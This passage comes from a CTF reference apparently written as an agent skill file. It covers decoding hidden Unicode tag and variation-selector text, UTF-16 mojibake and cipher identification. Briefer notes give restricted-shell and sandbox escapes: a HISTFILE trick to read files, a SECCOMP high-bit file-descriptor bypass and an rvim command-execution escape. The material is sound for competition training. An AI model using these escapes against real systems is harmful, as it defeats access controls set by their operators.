(U+E0100-U+E01EF)","type":"text"}]},{"type":"paragraph","content":[{"text":"Patterns (Seen & emoji, Nullcon 2026):","type":"text","marks":[{"type":"strong"}]},{"text":" Invisible Variation Selector Supplement characters encode ASCII via codepoint offset.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"# Extract hidden data from variation selectors after visible character\ndata = open('README.md', 'r').read().strip()\nhidden = data[1:] # Skip visible emoji character\nflag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)","type":"text"}]},{"type":"paragraph","content":[{"text":"Detection:","type":"text","marks":[{"type":"strong"}]},{"text":" Characters appear invisible but have non-zero length. Check with ","type":"text"},{"text":"[hex(ord(c)) for c in text]","type":"text","marks":[{"type":"code_inline"}]},{"text":" -- look for codepoints in ","type":"text"},{"text":"0xE0100-0xE01EF","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"0xFE00-0xFE0F","type":"text","marks":[{"type":"code_inline"}]},{"text":" range.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Unicode Tags Block (U+E0000-U+E007F) (UTCTF 2026)","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Hidden in Plain Sight):","type":"text","marks":[{"type":"strong"}]},{"text":" Invisible Unicode Tag characters embedded in URLs, filenames, or text. Each tag codepoint maps directly to an ASCII character by subtracting ","type":"text"},{"text":"0xE0000","type":"text","marks":[{"type":"code_inline"}]},{"text":". URL-encoded as 4-byte UTF-8 sequences (","type":"text"},{"text":"%F3%A0%81%...","type":"text","marks":[{"type":"code_inline"}]},{"text":").","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"import urllib.parse\n\nurl = \"https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text\"\ndecoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)\n\nflag = ''.join(\n chr(ord(ch) - 0xE0000)\n for ch in decoded\n if 0xE0000 \u003c= ord(ch) \u003c= 0xE007F\n)\nprint(flag)","type":"text"}]},{"type":"paragraph","content":[{"text":"Key insight:","type":"text","marks":[{"type":"strong"}]},{"text":" Unicode Tags (U+E0001-U+E007F) mirror ASCII 1:1 — subtract ","type":"text"},{"text":"0xE0000","type":"text","marks":[{"type":"code_inline"}]},{"text":" to recover the original character. They render as zero-width invisible glyphs in most fonts. Unlike Variation Selectors (U+E0100+), these have a simpler offset calculation and appear in URL fragments, challenge titles, or filenames where the text looks normal but has suspiciously long byte length.","type":"text"}]},{"type":"paragraph","content":[{"text":"Detection:","type":"text","marks":[{"type":"strong"}]},{"text":" Text or URL is longer than expected in bytes. Percent-encoded sequences starting with ","type":"text"},{"text":"%F3%A0%80","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"%F3%A0%81","type":"text","marks":[{"type":"code_inline"}]},{"text":". Python: ","type":"text"},{"text":"any(0xE0000 \u003c= ord(c) \u003c= 0xE007F for c in text)","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"UTF-16 Endianness Reversal","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (endians):","type":"text","marks":[{"type":"strong"}]},{"text":" Text \"turned to Japanese\" -- mojibake from UTF-16 endianness mismatch.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"# If encoded as UTF-16-LE but decoded as UTF-16-BE:\nfixed = mojibake.encode('utf-16-be').decode('utf-16-le')","type":"text"}]},{"type":"paragraph","content":[{"text":"Identification:","type":"text","marks":[{"type":"strong"}]},{"text":" CJK characters, challenge mentions \"translation\" or \"endian\". See ","type":"text"},{"text":"encodings.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings.md","title":null}}]},{"text":" for details.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Cipher Identification Workflow","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ROT13","type":"text","marks":[{"type":"strong"}]},{"text":" - Challenge mentions \"ROT\", text looks like garbled English","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Base64","type":"text","marks":[{"type":"strong"}]},{"text":" - ","type":"text"},{"text":"A-Za-z0-9+/=","type":"text","marks":[{"type":"code_inline"}]},{"text":", title hints \"64\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Base32","type":"text","marks":[{"type":"strong"}]},{"text":" - ","type":"text"},{"text":"A-Z2-7=","type":"text","marks":[{"type":"code_inline"}]},{"text":" uppercase only","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Atbash","type":"text","marks":[{"type":"strong"}]},{"text":" - Title hints (Abash/Atbash), preserves spaces, 1:1 substitution","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Pigpen","type":"text","marks":[{"type":"strong"}]},{"text":" - Geometric symbols on grid","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Keyboard Shift","type":"text","marks":[{"type":"strong"}]},{"text":" - Text looks like adjacent keys pressed","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Substitution","type":"text","marks":[{"type":"strong"}]},{"text":" - Frequency analysis applicable","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Auto-identify:","type":"text","marks":[{"type":"strong"}]},{"text":" ","type":"text"},{"text":"dCode Cipher Identifier","type":"text","marks":[{"type":"link","attrs":{"href":"https://www.dcode.fr/cipher-identifier","title":null}}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)","type":"text"}]},{"type":"paragraph","content":[{"text":"Read files without cat/less/head: ","type":"text"},{"text":"HISTFILE=/flag /bin/bash && history","type":"text","marks":[{"type":"code_inline"}]},{"text":", or ","type":"text"},{"text":"bash -v flag.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":" (verbose mode prints lines), or ","type":"text"},{"text":"ctypes.sh","type":"text","marks":[{"type":"code_inline"}]},{"text":" ","type":"text"},{"text":"dlcall","type":"text","marks":[{"type":"code_inline"}]},{"text":" for direct C library calls. See ","type":"text"},{"text":"bashjails.md","type":"text","marks":[{"type":"link","attrs":{"href":"bashjails.md#histfile-trick-for-restricted-shell-file-reads-bctf-2016","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Levenshtein Distance Oracle Attack (SunshineCTF 2016)","type":"text"}]},{"type":"paragraph","content":[{"text":"Oracle returns edit distance between guess and secret. Determine length from empty string, identify present chars from single-char repeats, binary search for positions. O(n log n) queries. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#levenshtein-distance-oracle-attack-sunshinectf-2016","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"SECCOMP High-Bit File Descriptor Bypass (33C3 CTF 2016)","type":"text"}]},{"type":"paragraph","content":[{"text":"close(0x8000000000000002)","type":"text","marks":[{"type":"code_inline"}]},{"text":" passes 64-bit SECCOMP check (≠ 2) but kernel truncates to 32-bit (== 2), closing fd 2. Next ","type":"text"},{"text":"open()","type":"text","marks":[{"type":"code_inline"}]},{"text":" returns fd 2 for arbitrary file. Type-width mismatch between BPF filter and kernel. See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#seccomp-bypass-via-high-bit-file-descriptor-trick-33c3-ctf-2016","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"rvim Jail Escape via Python3 (BKP 2017)","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"rvim","type":"text","marks":[{"type":"code_inline"}]},{"text":" blocks ","type":"text"},{"text":":!","type":"text","marks":[{"type":"code_inline"}]},{"text":" but ","type":"text"},{"text":":python3 import os; os.system(\"cmd\")","type":"text","marks":[{"type":"code_inline"}]},{"text":" executes arbitrary commands. Check ","type":"text"},{"text":":version","type":"text","marks":[{"type":"code_inline"}]},{"text":" for ","type":"text"},{"text":"+python3","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"+lua","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"+ruby","type":"text","marks":[{"type":"code_inline"}]},{"text":". See ","type":"text"},{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md#rvim-jail-escape-via-custom-vimrc-with-python3-execution-bkp-2017","title":null}}]},{"text":".","type":"text"}]}]},"metadata":{"date":"2026-06-05","name":"ctf-misc","author":"@skillopedia","source":{"stars":2252,"repo_name":"ctf-skills","origin_url":"https://github.com/ljagiello/ctf-skills/blob/HEAD/ctf-misc/SKILL.md","repo_owner":"ljagiello","body_sha256":"aea2b86dbb05c1ab05d5f2c1a1e87a79470102806a7e35733263571056b200f9","cluster_key":"e5a674190ec1d5c54f37747695f4947fe49afcb14978237e61004fb4e52bc0ec","clean_bundle":{"format":"clean-skill-bundle-v1","source":"ljagiello/ctf-skills/ctf-misc/SKILL.md","attachments":[{"id":"931fd884-0fdc-5d63-8b50-1e3c1ab054d1","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/931fd884-0fdc-5d63-8b50-1e3c1ab054d1/attachment.md","path":"bashjails.md","size":13965,"sha256":"efd81ae50cbbb82356ec6b09a2920bb5b04e1c7f85dcb0c6787ba7166fdeded8","contentType":"text/markdown; charset=utf-8"},{"id":"207fffd0-b237-5772-ad83-5efc9cdf1dbf","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/207fffd0-b237-5772-ad83-5efc9cdf1dbf/attachment.md","path":"ctfd-navigation.md","size":14795,"sha256":"04b31fe69a64bd4543b3441160ded9921f6ac55c51931ece38b3f54f6d4eacbf","contentType":"text/markdown; charset=utf-8"},{"id":"d22a976e-9a77-5b44-aae6-d72fdee31807","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/d22a976e-9a77-5b44-aae6-d72fdee31807/attachment.md","path":"dns.md","size":9698,"sha256":"04be1c7d9ce7560fb861d3a17b227997c6919614e65101994ef5615d756ba8c4","contentType":"text/markdown; charset=utf-8"},{"id":"b31a6d2e-8353-5d6a-9b2f-9239c581deb6","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/b31a6d2e-8353-5d6a-9b2f-9239c581deb6/attachment.md","path":"encodings-advanced.md","size":19845,"sha256":"5c2b2e3ddb6421b0246d3aea8a03aba1a5900ec3208863969cc94b0b285b5beb","contentType":"text/markdown; charset=utf-8"},{"id":"2cf6236a-e4c0-5ada-b013-c073d0a00b33","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/2cf6236a-e4c0-5ada-b013-c073d0a00b33/attachment.md","path":"encodings.md","size":15646,"sha256":"2d3a79409a4ca99de17710facb5a240431e616aa4ca052513a5ea5efba27b7e7","contentType":"text/markdown; charset=utf-8"},{"id":"abbab97a-f9a2-527c-85a7-b612a169a8e0","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/abbab97a-f9a2-527c-85a7-b612a169a8e0/attachment.md","path":"games-and-vms-2.md","size":10488,"sha256":"9475ab08dd561a8d3db502ba0d5ebf650d612a1dd287706e72d45675baf73477","contentType":"text/markdown; charset=utf-8"},{"id":"0c30755b-f1a2-5b32-b18f-70304291f79a","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/0c30755b-f1a2-5b32-b18f-70304291f79a/attachment.md","path":"games-and-vms-3.md","size":32416,"sha256":"399b8ea917f7bb0616f768689b11d8cea03de201e956ed2a6479cb72b0d67d7b","contentType":"text/markdown; charset=utf-8"},{"id":"8683d196-ac82-54ae-af3b-e831004a6f46","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/8683d196-ac82-54ae-af3b-e831004a6f46/attachment.md","path":"games-and-vms-4.md","size":11466,"sha256":"290523ba755d0440bed56095c361b279ccdc221ee8844c18f154962cc07581b0","contentType":"text/markdown; charset=utf-8"},{"id":"975a1de2-415e-572b-9674-ede8922196b8","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/975a1de2-415e-572b-9674-ede8922196b8/attachment.md","path":"games-and-vms.md","size":21085,"sha256":"874dffbe3584051b7244a4f2827631dc1a6e9ab40feac65401d6b0172b8745aa","contentType":"text/markdown; charset=utf-8"},{"id":"a88fbc19-2b6a-5126-8367-80a5c8036277","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/a88fbc19-2b6a-5126-8367-80a5c8036277/attachment.md","path":"linux-privesc.md","size":18452,"sha256":"d7550c94cd9330cd052f947dea15c65bb29dfe3dbd01fcfb52b44e1a3035b83e","contentType":"text/markdown; charset=utf-8"},{"id":"b120ac1a-f629-5a5c-b6cd-de99f5c64cae","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/b120ac1a-f629-5a5c-b6cd-de99f5c64cae/attachment.md","path":"pyjails.md","size":24827,"sha256":"77e7cbb9d415584075ff5aa4a37381921c9c0fb82fc592f168ebe9921f7917ed","contentType":"text/markdown; charset=utf-8"},{"id":"a7a044e1-1814-5c7b-ba2e-3d3aa1a94105","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/a7a044e1-1814-5c7b-ba2e-3d3aa1a94105/attachment.md","path":"rf-sdr.md","size":3994,"sha256":"ea61aa6d6eeba16923b6482df80c43ace8352179854ce4292b9246853af5bc04","contentType":"text/markdown; charset=utf-8"}],"bundle_sha256":"39ab51595382459cd76c9bd03b46eb8f63d7a11c27230eb1c30cd0cd734b1c66","attachment_count":12,"text_attachments":12,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"ctf-misc/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"license":"MIT","version":"v1","category":"security","metadata":{"user-invocable":"false"},"import_tag":"clean-skills-v1","description":"Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or audio puzzles, constraint solving, game theory, unusual sandbox escapes, and hybrid logic puzzles. Prefer a more specific skill first when the challenge is mainly web, pwn, reverse, forensics, malware, OSINT, or crypto. Treat this as the fallback skill for genuine cross-category or edge-case challenges, not the default starting point.","allowed-tools":"Bash Read Write Edit Glob Grep Task WebFetch WebSearch Skill","compatibility":"Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation."}},"renderedAt":1782986935490}

CTF Miscellaneous Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details. Prerequisites Python packages (all platforms): Linux (apt): macOS (Homebrew): Manual install: - SageMath — Linux: , macOS: Additional Resources - pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval - bashjails.md - Bash jail/restricted shel…